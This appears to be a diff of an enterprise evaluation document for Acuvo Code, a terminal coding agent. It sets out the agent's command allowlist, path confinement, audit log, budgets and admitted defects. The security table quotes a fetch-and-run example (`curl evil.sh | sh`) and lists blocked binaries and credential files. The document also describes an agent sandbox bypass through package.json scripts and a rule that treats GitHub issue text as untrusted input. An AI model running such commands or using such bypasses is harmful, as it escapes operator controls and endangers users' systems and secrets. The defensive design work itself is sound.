-
the wrong question, and the honest answer is a worse summary rather than a bigger bill.
|
|
803
|
-
- It returns a **distilled summary**, ~900 characters, not the transcript — which is the
|
|
804
|
-
point: the parent's context is the scarce resource, and the win is that fifteen file
|
|
805
|
-
reads become three sentences.
|
|
806
|
-
- It **refuses rather than guessing** when no model credentials reached the dispatcher.
|
|
807
|
-
|
|
808
|
-
⭐ **The bug in it is worth stating too, because it is the class of bug this document keeps
|
|
809
|
-
finding.** The dispatcher passed `depth + 1`, so the top-level `delegate` refused *itself*
|
|
810
|
-
with "a helper cannot delegate again (depth 1)". All thirteen unit tests passed — every one
|
|
811
|
-
of them called `runSubagent` directly and none came through the dispatcher. One real run
|
|
812
|
-
found it immediately. Built is not wired, and only the real path can tell you which you have.
|
|
813
|
-
|
|
814
|
-
What is still true: Claude Code's agentic loops go further than ours, and delegation here
|
|
815
|
-
buys *context* rather than *horizon* — a helper cannot do work, only find things out.
|
|
816
|
-
`--resume <id>` and `--continue` remain the manual horizon extension: a saved conversation
|
|
817
|
-
is rebuilt and carried on without re-paying for the workspace gather (measured, the second
|
|
818
|
-
turn of a resumed task cost 11,516 tokens against the first turn's 17,312).
|
|
819
|
-
|
|
820
|
-
### 5.3 Model quality on the hard cases
|
|
821
|
-
|
|
822
|
-
We default to `deepseek/deepseek-v4-flash-0731` (`DEFAULT_MODEL`, `lib/model.mjs`). On a gnarly
|
|
823
|
-
multi-file refactor with subtle type interactions, a frontier model in Claude Code
|
|
824
|
-
produces a better answer than ours, and no amount of loop engineering closes that. Our
|
|
825
|
-
$0.00067-per-task number is real and it is not an argument that the output is equivalent.
|
|
826
|
-
|
|
827
|
-
### 5.4 No editor, and no diff you approve before it lands
|
|
828
|
-
|
|
829
|
-
Cursor and Copilot live *inside* the editor: inline completion, hunk-level accept/reject,
|
|
830
|
-
a diff you read before it is written. We have no editor presence at all, and we write
|
|
831
|
-
first and report afterwards (`lib/report.mjs`). Our report is good — line counts,
|
|
832
|
-
replaced-char proportion, a warning when a file shrank by 40% (`rewriteWarnings`,
|
|
833
|
-
`lib/report.mjs`) — but it is a *post-mortem*, not a review gate.
|
|
834
|
-
|
|
835
|
-
### 5.5 Context reach
|
|
836
|
-
|
|
837
|
-
`gatherWorkspaceContext` (`lib/turn.mjs`) walks **two levels deep** with a bounded file
|
|
838
|
-
count and byte budget. Cursor indexes the whole repository. We have `find_files` and
|
|
839
|
-
`search_text` (`searchToolSchemas`, `lib/search.mjs`) which materially close the gap
|
|
840
|
-
inside the loop, but on a large monorepo the first round starts with far less than a
|
|
841
|
-
competitor's does.
|
|
842
|
-
|
|
843
|
-
### 5.6 The enterprise checklist we mostly do not have
|
|
844
|
-
|
|
845
|
-
GitHub Copilot ships SSO, org policy, audit logging, a data-retention agreement,
|
|
846
|
-
zero-data-retention endpoints and SOC 2.
|
|
847
|
-
|
|
848
|
-
⭐ **One of those is now ours: audit logging** (§2.2/4) — redacted, bounded, one line per
|
|
849
|
-
run, opt-out-able, and verified by running it. It is genuine, and it is one item.
|
|
850
|
-
|
|
851
|
-
⭐ **And one that was a blocker in the last draft is not any more: the repository is
|
|
852
|
-
public.** `github.com/xxiautomate-star/acuvo-code` is open and clonable — verified
|
|
853
|
-
2026-08-11 by cloning it into an empty directory and running the CLI out of the result. A
|
|
854
|
-
stranger evaluating this document can now obtain the software it describes, which the
|
|
855
|
-
previous draft correctly said they could not.
|
|
856
|
-
|
|
857
|
-
Still absent: **no published npm package** (the registry returns 404 for both `acuvo-code`
|
|
858
|
-
and `acuvo`), and zero users.
|
|
859
|
-
|
|
860
|
-
⭐ **The single-file bundle is no longer absent, and this paragraph said it was.** It read
|
|
861
|
-
"`scripts/bundle.mjs` was never written, so the command exits 1 and its 44 tests skip".
|
|
862
|
-
Measured 2026-08-13: `npm run bundle` completes in **1.0s** and emits **1,829,742 bytes
|
|
863
|
-
across 61 modules**, which then runs `--version` and `--help` from a directory with no
|
|
864
|
-
source tree on the path. For an evaluator that is the shortest supply chain available —
|
|
865
|
-
one file, no registry, no install, nothing transitive to audit.
|
|
866
|
-
|
|
867
|
-
⚠️ Kept as a correction rather than a silent edit, because this document's own §5.7 is
|
|
868
|
-
about exactly this failure mode, and a stale *pessimistic* claim is not the safe direction
|
|
869
|
-
to err in: it tells a buyer we cannot do something we can.
|
|
870
|
-
|
|
871
|
-
If your procurement process starts with a questionnaire, we will fail it today.
|
|
872
|
-
|
|
873
|
-
### 5.7 ⚠️ And the one this document itself demonstrated
|
|
874
|
-
|
|
875
|
-
The claims in a document drift from the code faster than anyone believes. Two default
|
|
876
|
-
values in the README were wrong; a headline claim in §1.5 was disproved by a free plugin;
|
|
877
|
-
"18 shipped files" became 41; and thirty-four `file:line` citations rotted in under a
|
|
878
|
-
week — while 455 tests passed continuously, because no test in the package could see any
|
|
879
|
-
of it. Competitors with a documentation team and a release process have a control here
|
|
880
|
-
that we replaced with one test file (`test/docs-truth.test.mjs`) and a rule that citations
|
|
881
|
-
name symbols, not lines. Treat that as mitigation, not as parity.
|
|
882
|
-
|
|
883
|
-
### What we do not lose
|
|
884
|
-
|
|
885
|
-
For completeness, the properties none of them offers:
|
|
886
|
-
|
|
887
|
-
- ⭐ **It looks at what it built and returns a verdict, not a picture** (`seePage` /
|
|
888
|
-
`findingsFrom`, `lib/media.mjs`) — 89 tokens against a screenshot's 3,072, and it
|
|
889
|
-
abstains rather than guessing. ⚠️ Not "nobody else can see": they can, one install away.
|
|
890
|
-
The edge is the return value, and it is a head start rather than a moat.
|
|
891
|
-
- ⭐ **It produces PDF, PPTX, PNG, speech and transcripts** from the same loop
|
|
892
|
-
(`lib/media.mjs`), and generates imagery with no configuration and no account
|
|
893
|
-
(`lib/imagegen.mjs`) — critiqued before it is accepted, and reported as unreviewed when
|
|
894
|
-
no critic is available.
|
|
895
|
-
- ⭐ **Zero dependencies.** The entire auditable surface is 116 files and 76736 lines,
|
|
896
|
-
and there is no `node_modules` behind it. (Counted 2026-08-20 from
|
|
897
|
-
`lib/*.mjs` + `bin/*.mjs`; `test/docs-truth.test.mjs` fails the build if this number
|
|
898
|
-
drifts, which is why it went 18 → 41 → 46 → 52 → 53 → 57 → 60 → 61 → 62 → 65 → 66 → 69 → 70 → 71 → 72 → 73 → 80 → 84 → 90 → 100 → 101 → 102 → 103 → 107 → 108 → 111 as modules landed (111 = the three that were WRITTEN and imported by nothing — `python.mjs`, `cache-floor.mjs`, `plan-coherence.mjs`; 108 = `warm-provider.mjs`, which keeps a session on the upstream that holds its prompt cache; 107 = `login.mjs`, the command that stores an Acuvo credential — until it existed, `writeAccount` was called by nothing and every user fell through to BYOK). ⚠️ Two of those three landed on this count while remaining UNREACHABLE, which is the sharpest illustration this document has that a file count is a claim about bytes, never about capability. ⭐ A
|
|
899
|
-
count that fails the build is the only kind that stays true — this one has now caught its own
|
|
900
|
-
staleness seven times, most recently when `handoff.mjs` + `changed-paths.mjs` landed a
|
|
901
|
-
helper that can WRITE. ⚠️ And it was ALREADY red before that: HEAD carried 81 files against
|
|
902
|
-
a document saying 80, so the guard had been failing for at least one unrelated module — a
|
|
903
|
-
reminder that a build-failing count only stays true while somebody reads the failure.
|
|
904
|
-
⚠️⚠️ AND IT WAS WRONG ANYWAY, BY TWO, FOR A DAY. The guard asserted only that the
|
|
905
|
-
correct number appeared *somewhere* in this file, and `68` did — inside the unrelated
|
|
906
|
-
citation `lib/command.mjs:68` on line 9. A build-failing count matched a line number
|
|
907
|
-
and passed while the sentence above it said 66. The check is now anchored to the
|
|
908
|
-
word it is counting, because a guard that can be satisfied by a coincidence is not a
|
|
909
|
-
guard, it is a decoration that everyone trusts.
|
|
910
|
-
⚠️ **And the check is weaker than it reads:** it asserts the document *contains the
|
|
911
|
-
digits*, so a coincidental "53" anywhere passes it. Verified by mutation — replacing
|
|
912
|
-
this figure with the historical 41 left the suite green. Treat it as a reminder, not a
|
|
913
|
-
guarantee.)
|
|
914
|
-
- ⭐ **36 tools, and a `--doctor` that tells you which of them are actually live here**
|
|
915
|
-
(`TOOL_NAMES`, `lib/tools.mjs`; `lib/doctor.mjs`). It needs no API key and no network,
|
|
916
|
-
exits 0 only when nothing is broken, and every dark or broken line names the exact
|
|
917
|
-
environment variable that fixes it — including `MODAL_VIDEO_SECRET`, whose absence made
|
|
918
|
-
four working media tools look broken for an hour because a correctly-set URL *without*
|
|
919
|
-
it answers HTTP 200 with `{ok:false,error:"unauthorised"}`.
|
|
920
|
-
- ⭐ **The exit code is a verdict**, with `ran` and `passed` kept separate everywhere
|
|
921
|
-
(`toJson`, `lib/report.mjs`; `sessionFailed`, `lib/turn.mjs`) — modulo §3.5, which is on
|
|
922
|
-
the defect list precisely because we hold ourselves to it.
|
|
923
|
-
|
|
924
|
-
---
|
|
925
|
-
|
|
926
|
-
*Questions on any claim here should be answerable by opening the cited line. If one is
|
|
927
|
-
not, that is a defect in this document and we want to hear about it.*
|
|
1
|
+
# Acuvo Code — the enterprise evaluation document
|
|
2
|
+
|
|
3
|
+
> Written 2026-08-10, re-audited against the source 2026-08-11, `acuvo-code@0.2.0`.
|
|
4
|
+
> Nothing here is aspirational: if a claim has no citation it is not in this document.
|
|
5
|
+
>
|
|
6
|
+
> ⚠️ **THE CITATIONS ARE NOW `file` + SYMBOL, NOT `file:line`, AND THAT IS A FIX.**
|
|
7
|
+
> The first draft cited line numbers. Re-checking thirty-four of them on 2026-08-11
|
|
8
|
+
> found that most had rotted — `lib/turn.mjs:637` was cited as the round bound and now
|
|
9
|
+
> lands on a `case` label; `lib/command.mjs:68` was cited as `ALLOWED_BINARIES` and now
|
|
10
|
+
> lands on a blank comment line. **A rotted citation is worse than none**, because a
|
|
11
|
+
> reviewer who opens one and finds unrelated code stops trusting the other thirty-three,
|
|
12
|
+
> and they are all this document has. Symbol names survive edits; line numbers do not
|
|
13
|
+
> survive a week. Every citation below is now a file plus a searchable identifier.
|
|
14
|
+
>
|
|
15
|
+
> ⭐ **The one-line honest summary.** Acuvo Code is a zero-dependency terminal agent
|
|
16
|
+
> whose *safety boundary is small enough to read in an afternoon* and whose exit code
|
|
17
|
+
> tells the truth about whether the code it wrote actually runs. It is not a sandbox,
|
|
18
|
+
> it has the confirmed defects listed here by name, and there are five categories where
|
|
19
|
+
> Claude Code, Cursor and Copilot beat it outright.
|
|
20
|
+
>
|
|
21
|
+
> **Changed since the first draft, all verified by running it:** an audit log now ships
|
|
22
|
+
> (§2.2/4 was "no audit log"); `--dry-run` and `--no-run` now stop the MCP spawn (half
|
|
23
|
+
> of §3.1); the documented `--max-rounds` and `--max-tokens` defaults were both wrong
|
|
24
|
+
> and are corrected throughout; the README's unscoped credential clause (§3.7) is fixed.
|
|
25
|
+
> **§3.2 was never open by the time this document claimed it was** — the guard had already
|
|
26
|
+
> landed and the audit read the wrong line; corrected in place at §3.2 with the re-measurement.
|
|
27
|
+
>
|
|
28
|
+
> **Closed 2026-08-12, each pinned by a test in `test/enterprise-gaps.test.mjs`:** §3.1
|
|
29
|
+
> (the ordinary-run MCP spawn — consent per config fingerprint, trust store outside the
|
|
30
|
+
> workspace, fails closed with no terminal), §3.3 (`gh` now resolved to an absolute path
|
|
31
|
+
> and the child no longer inherits the API key), §3.4 (the write guard checks every path
|
|
32
|
+
> segment, so a nested `node_modules` is refused), §3.5 (a provider outage is a failed
|
|
33
|
+
> run in the exit code, not only in the audit line), and the model-attribution half of
|
|
34
|
+
> §3.6. **Still open:** the smaller media defects in §3.6, which were not re-audited.
|
|
35
|
+
>
|
|
36
|
+
> If you are a security reviewer, start at §2 and §3. §3 is the list you would have
|
|
37
|
+
> produced yourself; we would rather hand it to you than have you find it.
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## 1. Why a large company would run this autonomously
|
|
42
|
+
|
|
43
|
+
Not "AI-powered developer productivity". Five specific jobs, each one a command.
|
|
44
|
+
|
|
45
|
+
### 1.1 Close the issue backlog nobody will staff
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
acuvo --issue 4127
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
Reads the GitHub issue, creates `fix/4127-<slug>`, finds the cause, fixes it, runs your
|
|
52
|
+
tests, and **stops at a local branch** (the `--issue` block, `bin/acuvo.mjs`). No push, no pull
|
|
53
|
+
request — it prints the exact `git push` and `gh pr create` for a human to run
|
|
54
|
+
(`nextSteps`, `bin/acuvo.mjs`).
|
|
55
|
+
|
|
56
|
+
⭐ **The stop is the enterprise feature, not a missing one.** An agent that opens PRs
|
|
57
|
+
because it believed it was finished puts model-authored code in front of your reviewers
|
|
58
|
+
under a human's name. `push`, `reset`, `checkout`, `clean`, `rebase` and `merge` are not
|
|
59
|
+
refused — they are *inexpressible*: git is exposed as four structured verbs
|
|
60
|
+
(`git_status`, `git_diff`, `git_log`, `git_commit`) and there is no path from a
|
|
61
|
+
model-authored string to a subcommand it was not given.
|
|
62
|
+
|
|
63
|
+
⚠️ The issue body is treated as untrusted input and quoted to the model as *a report to
|
|
64
|
+
investigate*, never as instructions (`README.md`). Anyone can open an issue on a
|
|
65
|
+
public repo.
|
|
66
|
+
|
|
67
|
+
### 1.2 Fan a mechanical change across a codebase, and refuse to lie about collisions
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
acuvo --parallel "migrate the auth tests" "update the deprecated fetch calls" --concurrency 3
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
Bounded concurrency, each task with its own executor over one directory
|
|
74
|
+
(`bin/acuvo.mjs`). The interesting part is not speed — it is that two agents in
|
|
75
|
+
one workspace will eventually write the same file and the second one silently wins.
|
|
76
|
+
Acuvo records what each task wrote, **names any file written by more than one of them**,
|
|
77
|
+
and exits 1 so `acuvo --parallel … && git commit` refuses to proceed
|
|
78
|
+
(`bin/acuvo.mjs`). It does not attempt a merge; two model-authored versions of a file
|
|
79
|
+
cannot be reconciled without a person.
|
|
80
|
+
|
|
81
|
+
### 1.3 Run as a build step, because the exit code is a verdict rather than a mood
|
|
82
|
+
|
|
83
|
+
```bash
|
|
84
|
+
acuvo --json "add a health check" | jq '.verification.passed'
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
One JSON object on stdout, every human line on stderr (`bin/acuvo.mjs`; `toJson`,
|
|
88
|
+
`lib/report.mjs`). `ran` and `passed` are **separate fields** (`toJson`, `lib/report.mjs`) because a test suite that executed and failed is not the same
|
|
89
|
+
thing as one that never ran, and collapsing them is how an agent reports success on a
|
|
90
|
+
red build. The exit code agrees with the printed verdict by construction
|
|
91
|
+
(`sessionFailed`, `lib/turn.mjs`).
|
|
92
|
+
|
|
93
|
+
⚠️ There is one confirmed hole in that contract — a mid-run provider outage. See §3.5.
|
|
94
|
+
|
|
95
|
+
### 1.4 The loop itself: write → run → read the real failure → fix
|
|
96
|
+
|
|
97
|
+
Bounded at **5 rounds** by default, ceiling **16** (`DEFAULT_MAX_ROUNDS` and
|
|
98
|
+
`MAX_ROUNDS_LIMIT`, `lib/cli-args.mjs`), with the cost of every round printed. The bound
|
|
99
|
+
is a cost decision and it is also a capability loss — see §5.2.
|
|
100
|
+
|
|
101
|
+
⭐ **And a round counter is the wrong bound to sell to a finance function anyway**, which is
|
|
102
|
+
why there is now a second one. `--budget <usd>` stops when the *next* round would cross a
|
|
103
|
+
figure you named (`--budget 0.50`, `--budget 25c`, `--budget $2` all parse), and it
|
|
104
|
+
**refuses to start at all if it cannot afford one round** — so it never spends money to
|
|
105
|
+
discover it had none. `--until-done` lets the loop run while the criterion you declared is
|
|
106
|
+
unmet and the budget allows; it **requires `--budget`, and there is no unbounded mode**.
|
|
107
|
+
|
|
108
|
+
⚠️ **This document said 3, and so did the README, and both were wrong.** There are two
|
|
109
|
+
constants named `DEFAULT_MAX_ROUNDS`: `lib/turn.mjs` exports one at **3**, and it is only
|
|
110
|
+
the fallback for a *library* caller that omits `maxRounds`; `lib/cli-args.mjs` exports one
|
|
111
|
+
at **5**, and that is what every CLI invocation actually gets. The docs cited the library
|
|
112
|
+
constant and described the CLI. `acuvo --help` prints 5. `test/docs-truth.test.mjs` now
|
|
113
|
+
fails the suite if the README and the constants diverge again — which is the only fix that
|
|
114
|
+
holds, because this class of error is invisible to every other test in the package.
|
|
115
|
+
|
|
116
|
+
Measured on our own task bench: **$0.00067 per task**, $0.0067 for all ten
|
|
117
|
+
(`MVP-PLAN.md:137`). A heavy user at 100 tasks/day is roughly $2/month of tokens. This
|
|
118
|
+
is a BYOK tool today: it runs on *your* OpenRouter key and we meter nothing
|
|
119
|
+
(`MVP-PLAN.md:151-153`).
|
|
120
|
+
|
|
121
|
+
### 1.5 Two jobs that are not in a terminal coding agent's usual shape
|
|
122
|
+
|
|
123
|
+
⚠️⚠️ **THIS SECTION USED TO BE HEADED "the two jobs no other terminal agent can do at
|
|
124
|
+
all", AND THAT WAS FALSE.** A market sweep on 2026-08-10 established it: Playwright MCP
|
|
125
|
+
and Chrome DevTools MCP are free, first-party and one install away, and some agents ship
|
|
126
|
+
a browser natively. The claim dies the first time your engineer types
|
|
127
|
+
`claude mcp add playwright`, in the middle of an evaluation, in front of the person who
|
|
128
|
+
has to sign. It is struck here rather than softened, because a document whose boldest
|
|
129
|
+
sentence is disprovable in one command has no way to earn back the other forty.
|
|
130
|
+
|
|
131
|
+
- **It can look at what it built, and hand back a verdict rather than a picture.**
|
|
132
|
+
`see_page` (`seePage`, `lib/media.mjs`) renders HTML in a real browser, saves the
|
|
133
|
+
screenshot into your workspace, and returns *measured* findings — invisible text,
|
|
134
|
+
overflow, contrast — ordered so that a console error that stopped the page booting is
|
|
135
|
+
printed first, because it explains everything under it.
|
|
136
|
+
|
|
137
|
+
⭐ **The defensible claim is the return value, not the browser.** A screenshot tool
|
|
138
|
+
hands the model an image and asks it to interpret its own screenshot, which is the
|
|
139
|
+
thing models are worst at. Measured 2026-08-10, one page through a live Playwright MCP
|
|
140
|
+
server against the same page through `see_page`: **3,072 tokens versus 89** — a 34×
|
|
141
|
+
difference, where the small number is the one that already contains the answer. And
|
|
142
|
+
`findingsFrom` (`lib/media.mjs`) **abstains** when it cannot tell rather than inventing
|
|
143
|
+
a finding; on our own pages that abstention removed two false accusations per page.
|
|
144
|
+
|
|
145
|
+
Weight it accurately: this is a software edge a competent developer reproduces in a
|
|
146
|
+
weekend. It buys a head start, not a moat. For an enterprise the value is that the
|
|
147
|
+
accessibility-and-layout regression check stops requiring a human to open a browser —
|
|
148
|
+
and that it costs 89 tokens to run in a loop.
|
|
149
|
+
- **It produces artifacts that are not code.** HTML → PDF / PNG / PPTX (`makeDocument`),
|
|
150
|
+
speech (`speak`), transcription (`transcribe`) — all `lib/media.mjs`. One prompt to a
|
|
151
|
+
real invoice PDF, no coding involved.
|
|
152
|
+
|
|
153
|
+
⚠️ Both are **optional and only offered when their endpoint is configured**
|
|
154
|
+
(`mediaConfig` / `mediaToolNames`, `lib/media.mjs`; `toolNamesForRounds`,
|
|
155
|
+
`lib/tools.mjs`). A tool whose service is absent is never mentioned to the model, so it
|
|
156
|
+
cannot spend a round discovering a dead button. `generate_image` is the exception — it is
|
|
157
|
+
on by default with no configuration, it reaches perchance.org directly, and it uploads the
|
|
158
|
+
image it produced to OpenRouter to be critiqued; all three are disclosed in
|
|
159
|
+
`README.md`. `transcribe` has a live key-name bug against our own worker (§3.6).
|
|
160
|
+
|
|
161
|
+
### 1.6 And the thing that stops us writing an adapter for your stack
|
|
162
|
+
|
|
163
|
+
MCP client support (`lib/mcp.mjs`). Your Linear, your Postgres, your Sentry, your
|
|
164
|
+
internal service — declared in a `.acuvo/mcp.json` or `.mcp.json` you wrote and can review
|
|
165
|
+
(`MCP_CONFIG_FILES`), namespaced as `mcp__<server>__<tool>` so a remote `write_file` can
|
|
166
|
+
never shadow ours (`mcpToolSchemas` / `parseNamespaced`, `lib/mcp.mjs`).
|
|
167
|
+
|
|
168
|
+
⚠️ **This is also the package's most serious defect today.** See §3.1 before you enable it.
|
|
169
|
+
|
|
170
|
+
---
|
|
171
|
+
|
|
172
|
+
## 2. What makes it secure in a way competitors are not — and what it does not protect against
|
|
173
|
+
|
|
174
|
+
The differentiating property is not a feature. It is that **the boundary is small enough
|
|
175
|
+
to verify**. Zero dependencies (`dependencies` and `devDependencies` are both `{}` in
|
|
176
|
+
`package.json`), and the dangerous surface is **six functions in four modules** —
|
|
177
|
+
`validateCommand` and `spawnBounded` (`lib/command.mjs`), `resolveInWorkspace`
|
|
178
|
+
(`lib/workspace.mjs`), `connectServer` (`lib/mcp.mjs`), `evaluateSnippet`
|
|
179
|
+
(`lib/evaluate.mjs`), `runProgram` (`lib/spawn-argv.mjs`). You can read all of it. You
|
|
180
|
+
cannot read Cursor's.
|
|
181
|
+
|
|
182
|
+
⚠️ **This said "four functions in three modules" and it was undercounting by two.**
|
|
183
|
+
`evaluateSnippet` was always missing — that is the §2.1 omission this document already
|
|
184
|
+
corrects below, and the headline sentence had not been updated to match. `runProgram`
|
|
185
|
+
became reachable on 2026-08-11 when `lib/spawn-argv.mjs` was wired into the registry;
|
|
186
|
+
it defers every allowlist decision to `validateCommand` rather than keeping its own
|
|
187
|
+
copy, but it *is* a place a process starts, and this is a list of those. Six and four
|
|
188
|
+
are the numbers to quote. Counting is the first thing a reviewer does.
|
|
189
|
+
|
|
190
|
+
⚠️ **This said "18 shipped files", then "41", then "90", then "101", then "108", and every
|
|
191
|
+
one went stale in turn.** The package ships **118 files — 116 in `lib/`, 2 in
|
|
192
|
+
`bin/` — about 77,339 lines**, with **233 test files** beside them (counted 2026-08-22).
|
|
193
|
+
|
|
194
|
+
⭐ **AND THE 108 WENT STALE IN THE MOST INSTRUCTIVE WAY POSSIBLE: THREE OF THE FILES IT
|
|
195
|
+
MISSED WERE REACHABLE FROM NOTHING.** `wiring-reach.test.mjs` was naming
|
|
196
|
+
`lib/python.mjs`, `lib/cache-floor.mjs` and `lib/plan-coherence.mjs` as importable by no
|
|
197
|
+
entry point — 2,120 lines of complete, tested capability that had not shipped in any sense
|
|
198
|
+
a customer would recognise. A file count that rises while the reachable surface does not is
|
|
199
|
+
exactly the kind of number this section warns about.
|
|
200
|
+
|
|
201
|
+
⚠️ **AND THIS SENTENCE NAMED THE WRONG ALLOWLIST.** It said `files` was `bin/`, `lib/`,
|
|
202
|
+
`README.md`, `LICENSE`, `CHANGELOG.md`. Measured with `npm pack --dry-run`: the real
|
|
203
|
+
allowlist also carries **`test/`, `ENTERPRISE.md` and `ROADMAP.md`**, and the published
|
|
204
|
+
tarball is **265 files, 5.1 MB unpacked — 182 of them tests against 98 of `lib/`.** That is
|
|
205
|
+
deliberate, not drift (commit `ed08f2710`, *"ship the tests, and add CI that would have
|
|
206
|
+
caught the false green"*): a document that invites you to audit 76736 lines and then ships
|
|
207
|
+
you the source without the tests is asking to be taken on trust, which is the one thing this
|
|
208
|
+
file refuses to ask for. ⭐ **Run them yourself: `npm test` inside the installed package.**
|
|
209
|
+
The stale sentence is the more interesting failure — it under-claimed, so nobody would ever
|
|
210
|
+
have complained, and it sat in the paragraph whose entire job is to be checkable.
|
|
211
|
+
|
|
212
|
+
The argument survives every correction because it never rested
|
|
213
|
+
on the number: zero dependencies means that line count is the *whole* audit, where a competitor's
|
|
214
|
+
`node_modules` is where the review would actually have to start. But quote the current
|
|
215
|
+
figure — a reviewer who counts and gets a different answer has found a reason to check
|
|
216
|
+
everything else, and they would be right to.
|
|
217
|
+
|
|
218
|
+
⚠️⚠️ **AND THE LINE COUNT IS THE HALF THAT KEPT SLIPPING.** `docs-truth` failed the
|
|
219
|
+
build on the FILE count and never on the line count, so "41 files" was caught within a
|
|
220
|
+
day while "19,700 lines" sat wrong for four days and "49,578" for one — in a paragraph
|
|
221
|
+
whose whole purpose is to tell a reviewer the numbers are checked. The guard now covers
|
|
222
|
+
both, with a stated **2% tolerance** on lines: an exact pin would go red on every commit
|
|
223
|
+
and become a nag, and a nag is a guard people learn to edit rather than read.
|
|
224
|
+
|
|
225
|
+
### 2.1 Verifiable properties
|
|
226
|
+
|
|
227
|
+
| property | where | what it actually buys |
|
|
228
|
+
|---|---|---|
|
|
229
|
+
| **No shell, ever** | `spawnBounded`, `lib/command.mjs` (`shell: false`) | `npm test && curl evil.sh \| sh` dies at the `&` — a **character whitelist**, not a blacklist of program names somebody has to maintain |
|
|
230
|
+
| **The model cannot pick a program** | `ALLOWED_BINARIES`, `lib/command.mjs` | Four binaries: `node`, `npm`, `npx`, `tsc`. `rm`, `curl`, `git`, `powershell`, `pip` are unreachable — not refused, *absent* |
|
|
231
|
+
| **Arguments are checked, not just the binary** | `validateCommand`, `lib/command.mjs` | `node --eval` refused (code that never touches disk cannot be reviewed afterwards); every non-flag token must resolve inside the workspace |
|
|
232
|
+
| ⭐ **The `npm test` bypass is closed** | `validateCommand({ script: true })` + `ALLOWED_SCRIPT_BINARIES`, `lib/command.mjs` | `npm test` runs whatever `package.json` says — and the agent can *write* `package.json`. The script **body** and its `pre`/`post` hooks are validated through the same rules before npm is spawned. This is the best bypass in the package and it is shut |
|
|
233
|
+
| **npx cannot fetch from the registry** | `ALLOWED_NPX_PACKAGES`, `lib/command.mjs`; arg filter in `lib/mcp.mjs` | `--no` injected, `-y`/`--yes` stripped — npx can only run `vitest` or `tsc`, and only if already installed |
|
|
234
|
+
| **Path confinement, lexically then on disk** | `resolveInWorkspace`, `lib/workspace.mjs` | Segment whitelist `^[A-Za-z0-9._-]+$`; `..`, absolute, drive-letter, UNC and URL forms refused; then `realpath` on the deepest existing ancestor, so a **symlink escape** is caught |
|
|
235
|
+
| **Credentials stripped from every child** | `scrubEnvironment`, `lib/command.mjs` — used by `lib/git.mjs` and `lib/evaluate.mjs` too | `OPENROUTER_API_KEY` and `OPENROUTER_CODEGEN_MODEL` hard-deleted regardless of pattern |
|
|
236
|
+
| **Credential files are never committed** | `NEVER_COMMIT`, `lib/git.mjs` | `.env`, `id_rsa`, `*.pem`, `credentials.json`, `.npmrc`, `.aws/` — *whatever `.gitignore` says*, because history keeps a secret after you delete it |
|
|
237
|
+
| **Commit requires named paths** | `gitToolSchemas`, `lib/git.mjs`; documented in `README.md` § Git | There is no "commit everything". Sweeping up files nobody looked at is how scratch files reach a public repo |
|
|
238
|
+
| **Subdirectory trap refused** | `lib/git.mjs`; documented in `README.md` § Git | Git walks upward; operating from a subdirectory of a larger repo would report and commit the whole outer project. Refused |
|
|
239
|
+
| ⭐ **No tool can add an MCP server** | asserted by test, `test/smoke.test.mjs` | The test greps every registered tool name for anything resembling `connect`/`add_server`. A model that can grant itself capabilities can grant itself anything |
|
|
240
|
+
| **Three verification states, never two** | `runSession` / `sessionFailed`, `lib/turn.mjs`; `toJson`, `lib/report.mjs` | ran-and-passed · ran-and-failed · **never ran**. Collapsing the third into the first is what makes an agent that "ships working code" a liar |
|
|
241
|
+
| **Bounded by construction** | `MAX_ROUNDS_LIMIT` = 64, `lib/cli-args.mjs`; `DEFAULT_COMMAND_TIMEOUT_MS` + output caps, `lib/command.mjs` | An unattended agent cannot spend an unbounded number of paid completions |
|
|
242
|
+
| ⭐ **Bounded in dollars, not just in rounds** | `createBudget` / `canContinue`, `lib/budget.mjs` | `--budget` stops before the round that would cross the figure, and **refuses to start** when it cannot afford one (`reason: "too-small"`) rather than spending to find out. `--until-done` cannot be used without it — there is no unbounded mode |
|
|
243
|
+
| ⭐ **Every run leaves a redacted record** | `recordRun` / `appendAudit` / `redact`, `lib/audit.mjs` | One JSON line per run in `.acuvo/audit/<date>.jsonl`. **New since the first draft** — §2.2/4 used to read "no audit log". See below for exactly what it does and does not capture |
|
|
244
|
+
| **Zero transitive supply chain** | `package.json` | Nothing to audit but this package. Compare against any agent shipping a `node_modules` tree |
|
|
245
|
+
|
|
246
|
+
⚠️ **One property that belongs in this table is missing from it, and the omission was the
|
|
247
|
+
point of the §2.1/§2.2 split:** `evaluate` (`evaluateSnippet`, `lib/evaluate.mjs`) is a
|
|
248
|
+
**second code-execution path that does not pass through `validateCommand` at all.** It
|
|
249
|
+
stages a model-written snippet at the workspace root and spawns `node <file>` directly, so
|
|
250
|
+
rows 2, 3 and 4 of this table — the whole "the model cannot pick a program" argument — do
|
|
251
|
+
not describe it. What *does* apply: `--no-run` withholds the tool, `--dry-run` refuses it,
|
|
252
|
+
and it uses the same `resolveInWorkspace`, the same `spawnBounded` and the same
|
|
253
|
+
`scrubEnvironment`. It cannot do anything `write_file` + `run_command` could not do in two
|
|
254
|
+
calls, which is the honest test — but a security section that enumerates execution paths
|
|
255
|
+
has to enumerate it, and neither this document nor the README did.
|
|
256
|
+
|
|
257
|
+
⚠️ **And a third path landed on 2026-08-11: `run_program`** (`runProgram`,
|
|
258
|
+
`lib/spawn-argv.mjs`), when the last tool-shaped module in the tree was wired into the
|
|
259
|
+
registry. Unlike `evaluate` it does **not** sit outside the allowlist: `ALLOWED_BINARIES`
|
|
260
|
+
is imported rather than re-declared, and every `node` flag before the script path is
|
|
261
|
+
checked by asking `validateCommand` about that single token, so rows 2, 3 and 4 of the
|
|
262
|
+
table above *do* describe it — with one authority and no second copy to drift. It is a
|
|
263
|
+
strict subset of what `run_command` permits on the same machine, because
|
|
264
|
+
`.acuvo/commands.json` can only *add* presets. What is genuinely new: the model supplies
|
|
265
|
+
an **argv array** rather than a string, so `shell: false` plus one-item-per-slot replaces
|
|
266
|
+
the character whitelist as the containment mechanism for arguments. That is stronger for
|
|
267
|
+
arguments (nothing re-parses them) and unchanged for programs. It additionally deletes
|
|
268
|
+
`NODE_OPTIONS` — the flag allowlist's back door, since node reads it before argv — and
|
|
269
|
+
`NODE_TEST_CONTEXT`, which `run_command` does not. `--no-run` and `--dry-run` refuse it at
|
|
270
|
+
the offer *and* at the dispatcher.
